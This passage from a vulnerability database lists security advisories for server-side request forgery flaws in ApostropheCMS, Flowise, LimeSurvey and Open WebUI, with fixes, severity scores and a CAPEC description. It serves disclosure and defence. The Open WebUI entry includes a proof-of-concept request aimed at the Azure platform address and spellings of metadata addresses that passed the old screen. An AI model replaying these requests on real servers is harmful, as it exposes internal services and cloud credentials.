attacker.\n\nThe attack requires only the public pretty-URL endpoint and one\npublicly-known file slug, both trivially available in normal CMS\noperation.\n\n### Recommended fix\n\nStop deriving the upstream URL from the request `Host` header. Two\ncomplementary changes:\n\n1. In `modules/@apostrophecms/file/index.js` (the lines that build\n `proxyUrl`), use a server-trusted absolute base URL (e.g., `apos.baseUrl`\n or the configured site URL) instead of `req.get(\u0027host\u0027)`:\n\n ```js\n const proxyUrl = uglyUrl.startsWith(\u0027/\u0027)\n ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`\n : uglyUrl;\n ```\n\n2. In `lib/stream-proxy.js`, enforce a strict origin allowlist (the\n configured apostrophe base URL + any configured CDN host) before calling\n `fetch`. Defence in depth: future callers of `streamProxy` cannot\n accidentally reintroduce the gap.\n\nA regression test that sets `Host: 169.254.169.254` (or any non-configured\nhost) on `/files/\u003cslug\u003e.\u003cext\u003e` and asserts the upstream `fetch` is **not**\nissued / the response is a 4xx would lock this down.",
"id": "GHSA-34pj-2622-jvxq",
"modified": "2026-07-31T21:51:41Z",
"published": "2026-07-31T21:51:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-34pj-2622-jvxq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53607"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/pull/5464"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/5a88e9630cbbdde33154ef8abe7557ddf7be418b"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header"
}
GHSA-34PJ-PVGP-FJWR
Vulnerability from github – Published: 2026-09-13 21:31 – Updated: 2026-09-13 21:31A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.
{
"affected": [],
"aliases": [
"CVE-2026-90580"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-13T20:16:51Z",
"severity": "LOW"
},
"details": "A vulnerability was found in FlowiseAI Flowise up to 3.0.2. This vulnerability affects the function axios.post of the file packages/server/src/controllers/evaluations/index.ts of the component Evaluations Endpoint. The manipulation of the argument Host/X-Forwarded-Proto results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. Upgrading to version 3.1.3 is able to resolve this issue. The patch is identified as 700137738bcaebefd4709021f6d6b0abcd7df0ac. It is recommended to upgrade the affected component. This vulnerability only affects products that are no longer supported by the maintainer.",
"id": "GHSA-34pj-pvgp-fjwr",
"modified": "2026-09-13T21:31:42Z",
"published": "2026-09-13T21:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90580"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/issues/6687"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/700137738bcaebefd4709021f6d6b0abcd7df0ac"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-90580"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/913327"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/403165"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/403165/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-34QP-WV4H-827H
Vulnerability from github – Published: 2026-07-20 21:31 – Updated: 2026-07-20 21:31LimeSurvey through 6.17.10 and 7.0.4 contains a server-side request forgery vulnerability in the REST API survey template endpoint that allows authenticated users to cause the server to issue arbitrary HTTP requests by supplying a manipulated Host header. Attackers can exploit the unsanitized use of the HTTP Host header in the getTemplateData() function to reach internal network services, cloud metadata endpoints, and extract sensitive credentials such as IAM tokens from instance metadata services.
{
"affected": [],
"aliases": [
"CVE-2026-63107"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T19:17:28Z",
"severity": "MODERATE"
},
"details": "LimeSurvey through 6.17.10 and 7.0.4 contains a server-side request forgery vulnerability in the REST API survey template endpoint that allows authenticated users to cause the server to issue arbitrary HTTP requests by supplying a manipulated Host header. Attackers can exploit the unsanitized use of the HTTP Host header in the getTemplateData() function to reach internal network services, cloud metadata endpoints, and extract sensitive credentials such as IAM tokens from instance metadata services.",
"id": "GHSA-34qp-wv4h-827h",
"modified": "2026-07-20T21:31:48Z",
"published": "2026-07-20T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63107"
},
{
"type": "WEB",
"url": "https://github.com/geo-chen/oss/blob/main/limesurvey.md"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/limesurvey-ssrf-via-rest-api-survey-template-host-header"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-34R3-9M95-VQ73
Vulnerability from github – Published: 2026-09-10 15:09 – Updated: 2026-09-10 15:09Summary
Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion and web search, and screens the resolved addresses so internal destinations cannot be reached. That screen decided whether a destination was external by asking Python's standard library whether the address is globally routable. Several addresses reserved for internal use answer yes to that question, including 168.63.129.16, the Azure platform channel every Azure virtual machine can reach. Any authenticated user could therefore make the server issue requests to those addresses and read the responses back through the API.
Preconditions
- The affected paths are the server-side URL fetches: RAG URL ingestion and web search. Both require an authenticated, verified account. No administrator role and no special workspace permission are needed.
ENABLE_LOCAL_WEB_FETCHmust be at its default offalse. Setting it totruedisables the address screen by design, and internal destinations are reachable on purpose.WEB_FETCH_FILTER_LISTis empty by default in affected versions, so no operator-supplied block entry covered these addresses unless one was added by hand.- For the Azure platform channel specifically, the Open WebUI host must run on Azure (virtual machine, AKS, Container Apps or equivalent). That address is reachable from every Azure virtual machine regardless of network security group rules. On a host that is not on Azure the address routes nowhere and nothing is reachable through it.
Impact
An authenticated user could direct the server to issue GET requests at addresses reserved for internal use and receive the response body back in the API response, which also lands in the RAG context. On Azure that includes the platform channel, an endpoint the operator never intended to expose to application users. The same gap applied to the IPv4-translated range and to deprecated IPv6 site-local space, which on a host that routes them would reach internal services the same way.
What was observed is the reachability and the read-back. No specific credential or secret was retrieved from the Azure platform channel during this investigation, and this advisory does not claim one. Deployments not hosted on Azure are unaffected for the platform-channel address, and deployments running with local web fetch enabled were never protected by this screen in any version.
Fix
Fixed in https://github.com/open-webui/open-webui/pull/27823. Address screening no longer rests on the library's notion of a globally routable address alone: a default block list of reserved and internal-purpose ranges is applied to every resolved address, at URL validation and again at connection time on both HTTP transports, so it also covers redirect hops and DNS rebinding. Operators can extend the list through WEB_FETCH_FILTER_LIST, which is merged with the defaults and cannot remove them.
Root cause
backend/open_webui/retrieval/web/utils.py: the shared address screen used by every server-side fetch.POST /api/v1/retrieval/process/web: RAG URL ingestion, returns the fetched body to the caller.POST /api/v1/retrieval/process/web/search: web search, fetches each result.
The code ships in every build, so no optional component or feature flag limits which installations carry it.
The screen answered one question, whether an address is globally routable, and treated that answer as a proxy for whether the destination is external. Those are two different questions. The library classifies by IANA special-purpose registry membership, and the Azure platform channel is allocated out of ordinary public IPv4 space, so the library correctly reports it as global while in practice it is an internal endpoint of the host's own platform. Earlier hardening (GHSA-8x5v-cpv7-8jjp) extended the screen to unwrap IPv6 addresses that carry an IPv4 address inside them. That closed the encoded-address bypasses and left the underlying test unchanged, so an address that is public by registry and internal by convention still passed.
Proof of concept
As any verified user:
POST /api/v1/retrieval/process/web
{"url": "http://168.63.129.16/?comp=versions"}
On an affected version the address passes validation, the request is issued, and the response body is returned in the content field of the API response.
The screening code of each released version was exercised directly:
- 0.11.0:
168.63.129.16,::ffff:0:169.254.169.254andfec0::1all pass validation. - 0.11.1: all three are rejected, along with every alternative spelling of the same address (IPv4-mapped, IPv4-compatible, IPv4-translated, 6to4 and both NAT64 prefixes) and the obfuscated decimal, octal and hexadecimal forms. Ordinary public addresses continue to pass.
No request was issued to a live Azure platform channel. The read-back property was confirmed from the ingestion endpoint, which returns the fetched body to the caller in its response.
Credits
@NaorYaa reported that the Azure platform channel remained reachable after the previous hardening, and demonstrated the same gap for the IPv4-translated and IPv6 site-local ranges.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-87999"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T15:09:36Z",
"nvd_published_at": "2026-09-09T22:18:48Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOpen WebUI fetches user-supplied URLs on the server for RAG URL ingestion and web search, and screens the resolved addresses so internal destinations cannot be reached. That screen decided whether a destination was external by asking Python\u0027s standard library whether the address is globally routable. Several addresses reserved for internal use answer yes to that question, including 168.63.129.16, the Azure platform channel every Azure virtual machine can reach. Any authenticated user could therefore make the server issue requests to those addresses and read the responses back through the API.\n\n## Preconditions\n\n- The affected paths are the server-side URL fetches: RAG URL ingestion and web search. Both require an authenticated, verified account. No administrator role and no special workspace permission are needed.\n- `ENABLE_LOCAL_WEB_FETCH` must be at its default of `false`. Setting it to `true` disables the address screen by design, and internal destinations are reachable on purpose.\n- `WEB_FETCH_FILTER_LIST` is empty by default in affected versions, so no operator-supplied block entry covered these addresses unless one was added by hand.\n- For the Azure platform channel specifically, the Open WebUI host must run on Azure (virtual machine, AKS, Container Apps or equivalent). That address is reachable from every Azure virtual machine regardless of network security group rules. On a host that is not on Azure the address routes nowhere and nothing is reachable through it.\n\n## Impact\n\nAn authenticated user could direct the server to issue GET requests at addresses reserved for internal use and receive the response body back in the API response, which also lands in the RAG context. On Azure that includes the platform channel, an endpoint the operator never intended to expose to application users. The same gap applied to the IPv4-translated range and to deprecated IPv6 site-local space, which on a host that routes them would reach internal services the same way.\n\nWhat was observed is the reachability and the read-back. No specific credential or secret was retrieved from the Azure platform channel during this investigation, and this advisory does not claim one. Deployments not hosted on Azure are unaffected for the platform-channel address, and deployments running with local web fetch enabled were never protected by this screen in any version.\n\n## Fix\n\nFixed in https://github.com/open-webui/open-webui/pull/27823. Address screening no longer rests on the library\u0027s notion of a globally routable address alone: a default block list of reserved and internal-purpose ranges is applied to every resolved address, at URL validation and again at connection time on both HTTP transports, so it also covers redirect hops and DNS rebinding. Operators can extend the list through `WEB_FETCH_FILTER_LIST`, which is merged with the defaults and cannot remove them.\n\n## Root cause\n\n- `backend/open_webui/retrieval/web/utils.py`: the shared address screen used by every server-side fetch.\n- `POST /api/v1/retrieval/process/web`: RAG URL ingestion, returns the fetched body to the caller.\n- `POST /api/v1/retrieval/process/web/search`: web search, fetches each result.\n\nThe code ships in every build, so no optional component or feature flag limits which installations carry it.\n\nThe screen answered one question, whether an address is globally routable, and treated that answer as a proxy for whether the destination is external. Those are two different questions. The library classifies by IANA special-purpose registry membership, and the Azure platform channel is allocated out of ordinary public IPv4 space, so the library correctly reports it as global while in practice it is an internal endpoint of the host\u0027s own platform. Earlier hardening (GHSA-8x5v-cpv7-8jjp) extended the screen to unwrap IPv6 addresses that carry an IPv4 address inside them. That closed the encoded-address bypasses and left the underlying test unchanged, so an address that is public by registry and internal by convention still passed.\n\n## Proof of concept\n\nAs any verified user:\n\n```\nPOST /api/v1/retrieval/process/web\n{\"url\": \"http://168.63.129.16/?comp=versions\"}\n```\n\nOn an affected version the address passes validation, the request is issued, and the response body is returned in the `content` field of the API response.\n\nThe screening code of each released version was exercised directly:\n\n- 0.11.0: `168.63.129.16`, `::ffff:0:169.254.169.254` and `fec0::1` all pass validation.\n- 0.11.1: all three are rejected, along with every alternative spelling of the same address (IPv4-mapped, IPv4-compatible, IPv4-translated, 6to4 and both NAT64 prefixes) and the obfuscated decimal, octal and hexadecimal forms. Ordinary public addresses continue to pass.\n\nNo request was issued to a live Azure platform channel. The read-back property was confirmed from the ingestion endpoint, which returns the fetched body to the caller in its response.\n\n## Credits\n\n@NaorYaa reported that the Azure platform channel remained reachable after the previous hardening, and demonstrated the same gap for the IPv4-translated and IPv6 site-local ranges.",
"id": "GHSA-34r3-9m95-vq73",
"modified": "2026-09-10T15:09:36Z",
"published": "2026-09-10T15:09:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-34r3-9m95-vq73"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87999"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/27823"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/e3e4bd87df6fc629e7e22081d980d55a7632b8b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.